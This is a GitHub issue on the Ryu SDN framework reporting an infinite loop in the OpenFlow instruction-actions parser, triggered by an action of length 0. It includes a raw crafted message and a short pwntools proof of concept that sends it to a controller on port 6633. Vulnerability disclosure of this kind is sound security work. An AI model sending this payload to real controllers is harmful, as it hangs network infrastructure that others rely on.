faucetsdn / ryu

Ryu component-based software defined networking framework
https://ryu-sdn.org
Apache License 2.0
1.5k stars 1.16k forks source link

Suggestion for OFPInstructionActions parser will cause an infinite loop #189

Closed ErodedElk closed 5 months ago

ErodedElk commented 5 months ago

in /ryu/ofproto/ofproto_v1_3_parser.py about line=2922

class OFPInstructionActions(OFPInstruction):
   ...
    @classmethod
    def parser(cls, buf, offset):
   ...
        try:
            while actions_len > 0:
                a = OFPAction.parser(buf, offset)
                actions.append(a)
                actions_len -= a.len
                offset += a.len

If OFPAction.len=0,the offset will no longer change and the parsing will fall into an infinite loop.

This message will put ryu into an infinite loop:

payload=b"\x04\x0e\x00\x50\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload=b"\x04\x0e\x00\x50\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
ErodedElk commented 5 months ago

in /ryu/ofproto/ofproto_v1_3_parser.py about line=2922 in /ryu/ofproto/ofproto_v1_4_parser.py about line=4586 in /ryu/ofproto/ofproto_v1_3_parser.py about line=5454

ErodedElk commented 5 months ago

There may be no clear path to trigger this vulnerability. The previous payload originated from https://github.com/faucetsdn/ryu/issues/188.